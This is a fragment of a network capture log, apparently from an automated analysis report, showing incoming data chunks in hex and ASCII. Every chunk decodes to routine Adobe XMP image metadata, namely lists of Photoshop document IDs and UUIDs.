2022-07-21 02:34:44 UTC	3573	IN	Data Raw: 3a 6c 69 3e 46 33 35 31 44 34 30 34 30 37 38 34 32 36 34 35 30 30 32 36 31 30 38 35 30 39 39 30 46 34 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 36 33 43 35 30 39 46 44 33 41 46 33 45 31 43 34 39 46 43 34 36 39 36 38 35 32 45 34 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 37 32 42 44 31 46 44 37 35 45 37 32 43 45 43 33 36 45 42 32 42 38 36 30 30 37 42 33 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 37 41 44 41 36 33 31 35 46 45 35 45 35 44 39 38 39 31 41 39 43 32 44 44 30 34 42 36 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 38 32 46 31 33 41 43 37 43 38 41 37 41 39 30 36 43 38 41 45 46 43 36 41 32 34 34 36 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 Data Ascii: :li>F351D40407842645002610850990F4EA</rdf:li> <rdf:li>F363C509FD3AF3E1C49FC4696852E462</rdf:li> <rdf:li>F372BD1FD75E72CEC36EB2B86007B39D</rdf:li> <rdf:li>F37ADA6315FE5E5D9891A9C2DD04B6FF</rdf:li> <rdf:li>F382F13AC7C8A7A906C8AEFC6A2446E5</rdf:li> <rdf:li>F
2022-07-21 02:34:44 UTC	3581	IN	Data Raw: 69 3e 46 39 44 35 41 31 45 41 33 41 34 44 37 34 46 34 42 39 43 35 30 43 43 32 42 38 42 38 34 32 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 44 39 31 36 34 43 39 34 34 46 32 46 42 36 33 45 33 42 42 43 35 38 30 30 45 44 42 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 44 39 33 31 36 34 38 39 34 38 46 44 36 34 42 33 46 44 42 31 46 33 45 43 45 37 44 39 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 44 43 43 34 31 46 36 44 32 35 43 44 45 34 44 33 42 32 43 43 44 41 32 44 46 32 31 45 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 46 42 35 44 35 45 38 35 44 39 35 38 30 45 33 32 44 30 34 30 46 46 32 38 37 30 36 44 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 30 Data Ascii: i>F9D5A1EA3A4D74F4B9C50CC2B8B842DF</rdf:li> <rdf:li>F9D9164C944F2FB63E3BBC5800EDBFD2</rdf:li> <rdf:li>F9D931648948FD64B3FDB1F3ECE7D999</rdf:li> <rdf:li>F9DCC41F6D25CDE4D3B2CCDA2DF21E06</rdf:li> <rdf:li>F9FB5D5E85D9580E32D040FF28706D53</rdf:li> <rdf:li>FA0
2022-07-21 02:34:44 UTC	3597	IN	Data Raw: 31 31 65 35 2d 38 31 37 61 2d 66 31 64 65 31 61 30 38 31 30 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 65 62 30 36 30 30 65 2d 63 35 38 37 2d 31 31 65 37 2d 61 37 65 65 2d 38 35 64 63 65 36 33 64 37 34 66 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 65 62 38 30 61 65 36 2d 66 31 66 31 2d 31 31 64 63 2d 62 61 35 30 2d 62 38 65 62 34 64 63 30 36 63 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 65 65 31 38 63 65 35 2d 30 36 37 30 2d 31 31 64 61 2d 39 38 63 66 2d 64 39 38 31 61 62 36 64 39 61 34 33 3c 2f 72 64 66 Data Ascii: 11e5-817a-f1de1a081066</rdf:li> <rdf:li>adobe:docid:photoshop:1eb0600e-c587-11e7-a7ee-85dce63d74fe</rdf:li> <rdf:li>adobe:docid:photoshop:1eb80ae6-f1f1-11dc-ba50-b8eb4dc06c93</rdf:li> <rdf:li>adobe:docid:photoshop:1ee18ce5-0670-11da-98cf-d981ab6d9a43</rdf
2022-07-21 02:34:44 UTC	3613	IN	Data Raw: 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 63 32 36 61 37 32 38 2d 33 38 63 34 2d 31 31 65 36 2d 39 35 33 36 2d 63 65 65 36 38 66 31 63 65 36 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 63 33 65 64 66 37 31 2d 64 36 34 31 2d 31 31 64 62 2d 62 62 38 31 2d 66 65 39 31 66 32 33 32 30 36 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 63 34 61 37 33 63 39 2d 33 31 61 61 2d 31 31 64 61 2d 38 37 34 64 2d 61 62 31 66 63 30 32 66 39 33 63 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 63 39 32 39 30 62 61 2d Data Ascii: e:docid:photoshop:4c26a728-38c4-11e6-9536-cee68f1ce62b</rdf:li> <rdf:li>adobe:docid:photoshop:4c3edf71-d641-11db-bb81-fe91f2320614</rdf:li> <rdf:li>adobe:docid:photoshop:4c4a73c9-31aa-11da-874d-ab1fc02f93c4</rdf:li> <rdf:li>adobe:docid:photoshop:4c9290ba-
2022-07-21 02:34:44 UTC	3621	IN	Data Raw: 30 32 62 65 66 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 35 38 62 33 32 35 63 2d 31 62 33 39 2d 31 31 65 38 2d 39 33 65 35 2d 66 64 34 64 37 38 33 38 38 38 64 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 35 66 34 64 65 66 63 2d 39 63 35 35 2d 31 31 37 38 2d 61 38 64 38 2d 61 39 61 30 36 62 64 65 32 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 35 66 39 63 66 33 39 2d 65 64 31 30 2d 36 32 34 38 2d 61 62 65 32 2d 35 38 38 36 37 66 37 64 63 34 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f Data Ascii: 02befb</rdf:li> <rdf:li>adobe:docid:photoshop:658b325c-1b39-11e8-93e5-fd4d783888d3</rdf:li> <rdf:li>adobe:docid:photoshop:65f4defc-9c55-1178-a8d8-a9a06bde2581</rdf:li> <rdf:li>adobe:docid:photoshop:65f9cf39-ed10-6248-abe2-58867f7dc474</rdf:li> <rdf:li>ado
2022-07-21 02:34:44 UTC	3637	IN	Data Raw: 70 3a 39 36 33 38 61 30 65 64 2d 31 34 34 64 2d 31 31 65 35 2d 38 31 37 61 2d 66 31 64 65 31 61 30 38 31 30 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 36 35 64 62 61 35 64 2d 33 33 39 30 2d 31 31 64 62 2d 62 63 33 35 2d 65 32 62 64 32 36 64 33 62 66 33 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 36 38 66 35 34 61 35 2d 38 66 39 38 2d 31 31 65 31 2d 62 63 30 31 2d 39 63 65 61 32 35 36 37 36 61 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 36 38 66 35 34 61 63 2d 38 66 39 38 2d 31 31 65 31 2d 62 63 30 31 2d 39 Data Ascii: p:9638a0ed-144d-11e5-817a-f1de1a081066</rdf:li> <rdf:li>adobe:docid:photoshop:965dba5d-3390-11db-bc35-e2bd26d3bf3e</rdf:li> <rdf:li>adobe:docid:photoshop:968f54a5-8f98-11e1-bc01-9cea25676a36</rdf:li> <rdf:li>adobe:docid:photoshop:968f54ac-8f98-11e1-bc01-9
2022-07-21 02:34:44 UTC	3653	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 39 66 66 33 64 61 33 2d 30 36 61 37 2d 31 31 37 39 2d 38 33 65 61 2d 61 33 34 34 64 38 64 35 31 35 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 61 30 31 33 65 34 66 2d 63 36 39 65 2d 31 31 65 35 2d 61 61 33 37 2d 39 65 63 65 37 31 64 31 61 36 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 61 35 35 33 36 64 63 2d 66 64 65 62 2d 31 31 64 38 2d 61 30 34 37 2d 66 30 34 65 65 64 32 32 36 33 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a Data Ascii: df:li> <rdf:li>adobe:docid:photoshop:c9ff3da3-06a7-1179-83ea-a344d8d515c7</rdf:li> <rdf:li>adobe:docid:photoshop:ca013e4f-c69e-11e5-aa37-9ece71d1a667</rdf:li> <rdf:li>adobe:docid:photoshop:ca5536dc-fdeb-11d8-a047-f04eed226324</rdf:li> <rdf:li>adobe:docid:
2022-07-21 02:34:44 UTC	3660	IN	Data Raw: 32 36 2d 31 31 65 35 2d 62 32 30 61 2d 65 33 35 31 39 34 38 65 35 66 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 35 30 61 39 64 62 39 2d 66 34 39 39 2d 37 32 34 37 2d 62 34 64 65 2d 32 31 32 33 37 33 30 37 38 39 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 35 36 36 36 39 61 63 2d 38 33 61 64 2d 31 31 65 36 2d 38 64 38 61 2d 66 36 63 64 65 36 39 61 32 36 63 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 35 39 63 31 63 62 33 2d 66 62 37 65 2d 31 31 64 39 2d 62 31 62 31 2d 64 33 62 38 37 62 65 32 31 30 30 32 3c 2f Data Ascii: 26-11e5-b20a-e351948e5fbb</rdf:li> <rdf:li>adobe:docid:photoshop:e50a9db9-f499-7247-b4de-212373078961</rdf:li> <rdf:li>adobe:docid:photoshop:e56669ac-83ad-11e6-8d8a-f6cde69a26ce</rdf:li> <rdf:li>adobe:docid:photoshop:e59c1cb3-fb7e-11d9-b1b1-d3b87be21002</
2022-07-21 02:34:44 UTC	3676	IN	Data Raw: 39 30 44 45 46 42 42 45 31 44 45 31 31 42 42 45 37 44 41 39 46 42 34 36 36 44 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 39 45 32 35 31 34 45 32 39 30 39 45 30 31 31 41 30 42 41 43 33 44 34 34 30 44 36 31 43 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 41 35 32 30 32 39 34 36 43 36 36 44 45 31 31 41 30 36 43 46 45 36 30 44 36 36 38 31 34 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 41 38 32 37 42 30 31 33 42 46 44 44 46 31 31 38 31 35 37 39 45 36 36 44 38 43 39 43 34 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 41 39 30 33 41 44 32 38 35 39 33 45 31 31 31 42 34 42 31 39 38 37 35 44 35 39 38 41 41 36 37 3c 2f 72 64 66 3a Data Ascii: 90DEFBBE1DE11BBE7DA9FB466DBA1</rdf:li> <rdf:li>uuid:19E2514E2909E011A0BAC3D440D61CC4</rdf:li> <rdf:li>uuid:1A5202946C66DE11A06CFE60D6681481</rdf:li> <rdf:li>uuid:1A827B013BFDDF1181579E66D8C9C4AC</rdf:li> <rdf:li>uuid:1A903AD28593E111B4B19875D598AA67</rdf:
2022-07-21 02:34:45 UTC	6304	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 31 30 31 43 35 37 44 44 42 43 35 45 30 31 31 42 45 36 39 46 45 37 43 36 32 30 30 37 41 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 31 31 41 34 33 31 33 36 45 43 45 44 46 31 31 41 37 36 42 39 32 34 33 36 42 33 42 44 39 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 31 36 37 41 39 44 38 37 44 35 41 44 45 31 31 38 44 43 43 45 36 32 41 38 41 41 39 30 35 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 31 37 34 37 33 44 45 44 38 43 39 44 44 31 31 41 45 39 38 45 43 44 38 42 38 46 44 30 36 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 31 38 42 34 42 41 45 32 42 30 31 44 46 31 31 Data Ascii: f:li> <rdf:li>uuid:5101C57DDBC5E011BE69FE7C62007A80</rdf:li> <rdf:li>uuid:511A43136ECEDF11A76B92436B3BD9BD</rdf:li> <rdf:li>uuid:5167A9D87D5ADE118DCCE62A8AA90550</rdf:li> <rdf:li>uuid:517473DED8C9DD11AE98ECD8B8FD0613</rdf:li> <rdf:li>uuid:518B4BAE2B01DF11
2022-07-21 02:34:45 UTC	6312	IN	Data Raw: 38 37 39 38 31 31 44 43 41 46 43 37 43 42 46 35 32 34 37 37 33 39 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 38 45 43 41 30 42 37 42 39 38 35 44 46 31 31 38 32 46 39 38 44 33 39 42 39 39 38 46 34 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 38 46 44 30 34 42 30 30 39 44 39 31 31 44 42 39 42 34 38 46 30 33 37 38 46 41 31 33 32 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 39 32 30 33 39 43 38 41 31 46 38 31 31 44 44 39 42 46 46 42 36 39 34 36 39 39 42 34 42 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 39 33 43 30 44 30 34 35 41 42 30 31 31 44 46 41 33 30 45 44 38 31 35 38 43 37 46 39 46 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: 879811DCAFC7CBF524773955</rdf:li> <rdf:li>uuid:68ECA0B7B985DF1182F98D39B998F44E</rdf:li> <rdf:li>uuid:68FD04B009D911DB9B48F0378FA1320E</rdf:li> <rdf:li>uuid:692039C8A1F811DD9BFFB694699B4B66</rdf:li> <rdf:li>uuid:693C0D045AB011DFA30ED8158C7F9F78</rdf:li> <
2022-07-21 02:34:45 UTC	6328	IN	Data Raw: 43 31 31 38 36 44 37 45 45 34 31 41 38 30 38 44 34 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 39 41 44 46 46 38 32 37 33 31 44 44 46 31 31 38 34 34 45 39 38 38 45 36 41 38 44 37 46 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 39 42 43 34 33 43 35 37 38 39 44 44 46 31 31 38 39 34 33 45 43 37 44 32 45 38 39 43 30 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 39 42 46 44 36 41 30 33 36 34 39 31 31 44 45 38 41 33 43 42 37 30 30 31 33 45 38 39 39 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 39 45 38 35 45 41 31 42 39 34 36 44 46 31 31 38 33 36 39 44 43 33 46 43 30 44 31 31 41 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: C1186D7EE41A808D4E1</rdf:li> <rdf:li>uuid:99ADFF82731DDF11844E988E6A8D7F6D</rdf:li> <rdf:li>uuid:99BC43C5789DDF118943EC7D2E89C0BA</rdf:li> <rdf:li>uuid:99BFD6A0364911DE8A3CB70013E89938</rdf:li> <rdf:li>uuid:99E85EA1B946DF118369DC3FC0D11A55</rdf:li> <rdf:l
2022-07-21 02:34:45 UTC	6344	IN	Data Raw: 34 42 39 42 46 41 33 45 45 30 31 31 42 30 36 35 45 42 30 41 43 41 45 42 32 31 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 37 38 44 39 42 37 46 34 41 30 38 31 31 44 46 42 43 30 41 43 46 32 32 31 33 30 38 39 46 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 37 43 31 30 35 45 43 36 32 46 36 44 46 31 31 42 37 42 42 42 35 30 35 39 44 46 32 41 43 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 37 43 36 42 35 36 36 46 43 42 41 44 45 31 31 38 41 37 44 41 30 37 44 32 35 42 41 30 33 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 38 31 30 45 42 37 36 31 42 37 30 45 31 31 31 38 32 44 33 45 34 37 39 38 39 35 36 37 38 36 45 3c 2f 72 64 66 3a 6c Data Ascii: 4B9BFA3EE011B065EB0ACAEB21BB</rdf:li> <rdf:li>uuid:D78D9B7F4A0811DFBC0ACF2213089FAD</rdf:li> <rdf:li>uuid:D7C105EC62F6DF11B7BBB5059DF2AC4A</rdf:li> <rdf:li>uuid:D7C6B566FCBADE118A7DA07D25BA034D</rdf:li> <rdf:li>uuid:D810EB761B70E11182D3E4798956786E</rdf:l
2022-07-21 02:34:45 UTC	6352	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 33 31 41 37 30 42 45 43 37 36 35 44 43 31 31 41 34 30 31 43 30 41 43 30 34 41 37 43 42 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 33 33 42 43 33 39 37 42 46 44 30 31 31 44 41 41 33 36 42 46 44 41 41 43 31 35 43 42 45 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 33 35 38 45 42 37 34 32 39 36 43 31 31 44 44 38 39 45 34 39 35 33 42 39 31 45 36 33 34 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 33 42 32 45 45 32 38 30 33 33 44 31 31 45 30 42 43 39 44 45 46 42 45 30 36 36 43 44 38 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 33 43 45 31 37 31 39 41 36 36 36 Data Ascii: </rdf:li> <rdf:li>uuid:F31A70BEC765DC11A401C0AC04A7CB84</rdf:li> <rdf:li>uuid:F33BC397BFD011DAA36BFDAAC15CBE0D</rdf:li> <rdf:li>uuid:F358EB74296C11DD89E4953B91E6345F</rdf:li> <rdf:li>uuid:F3B2EE28033D11E0BC9DEFBE066CD848</rdf:li> <rdf:li>uuid:F3CE1719A666
2022-07-21 02:34:45 UTC	6368	IN	Data Raw: 61 61 31 2d 39 35 36 39 33 63 65 39 63 65 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 36 37 36 31 34 41 36 45 32 31 36 38 31 31 38 43 31 34 44 38 42 46 45 35 38 41 34 44 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 37 33 33 33 43 37 31 41 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 37 41 44 30 32 32 30 44 32 30 36 38 31 31 38 30 38 33 38 44 37 43 36 34 31 46 37 38 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 30 36 34 31 35 41 45 31 38 33 41 3c 2f 72 64 66 3a 6c Data Ascii: aa1-95693ce9ceab</rdf:li> <rdf:li>xmp.did:0267614A6E2168118C14D8BFE58A4DD6</rdf:li> <rdf:li>xmp.did:027333C71A2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:027AD0220D20681180838D7C641F785F</rdf:li> <rdf:li>xmp.did:02801174072068118083806415AE183A</rdf:l
2022-07-21 02:34:45 UTC	6384	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 42 31 38 30 46 35 36 46 42 33 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 43 44 37 44 46 42 31 32 32 34 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 44 38 30 41 34 39 42 41 35 37 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: rdf:li> <rdf:li>xmp.did:068011740720681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:06801174072068118083B180F56FB3F1</rdf:li> <rdf:li>xmp.did:06801174072068118083CD7DFB1224F5</rdf:li> <rdf:li>xmp.did:06801174072068118083D80A49BA572B</rdf:li> <rdf:li>xmp.did
2022-07-21 02:34:45 UTC	6392	IN	Data Raw: 32 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 43 35 39 33 30 46 43 35 38 41 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 45 45 36 34 43 45 43 33 33 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 30 32 39 39 46 46 34 41 41 42 43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 41 35 33 33 44 39 31 31 41 31 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: 222</rdf:li> <rdf:li>xmp.did:08801174072068118F62C5930FC58A73</rdf:li> <rdf:li>xmp.did:08801174072068118F62EE64CEC33CEF</rdf:li> <rdf:li>xmp.did:088011740720681190299FF4AABCB75E</rdf:li> <rdf:li>xmp.did:08801174072068119109A533D911A1F9</rdf:li> <rdf:li>xm
2022-07-21 02:34:45 UTC	6408	IN	Data Raw: 6d 70 2e 64 69 64 3a 31 35 37 36 33 42 35 35 31 32 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 37 63 61 31 39 39 2d 65 30 34 64 2d 63 36 34 37 2d 38 33 36 33 2d 32 32 36 35 37 61 33 36 35 36 63 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 38 43 43 35 34 45 39 44 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 38 62 65 31 66 38 2d 31 64 34 33 2d 34 36 38 62 2d 61 62 64 37 2d 32 64 33 38 36 39 65 32 35 64 36 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 35 39 31 31 41 39 42 Data Ascii: mp.did:15763B5512206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:157ca199-e04d-c647-8363-22657a3656cd</rdf:li> <rdf:li>xmp.did:158CC54E9D226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:158be1f8-1d43-468b-abd7-2d3869e25d6a</rdf:li> <rdf:li>xmp.did:15911A9B
2022-07-21 02:34:45 UTC	6424	IN	Data Raw: 35 38 36 37 37 37 41 45 39 33 37 31 31 45 34 39 38 43 31 42 46 34 34 31 30 32 30 35 43 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 38 36 42 42 43 36 31 42 32 30 36 38 31 31 39 37 41 35 44 42 34 39 33 31 44 41 33 34 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 38 39 33 44 32 31 34 30 37 42 45 30 31 31 42 38 44 30 45 43 30 41 37 44 39 41 33 38 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 38 46 44 30 32 43 37 43 30 35 45 31 31 31 38 41 38 42 42 34 42 31 32 41 43 34 32 37 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 35 39 35 43 45 41 37 31 35 32 30 36 38 31 31 38 32 32 41 43 45 43 45 Data Ascii: 586777AE93711E498C1BF4410205C48</rdf:li> <rdf:li>xmp.did:2586BBC61B20681197A5DB4931DA3462</rdf:li> <rdf:li>xmp.did:25893D21407BE011B8D0EC0A7D9A38F3</rdf:li> <rdf:li>xmp.did:258FD02C7C05E1118A8BB4B12AC42799</rdf:li> <rdf:li>xmp.did:2595CEA715206811822ACECE
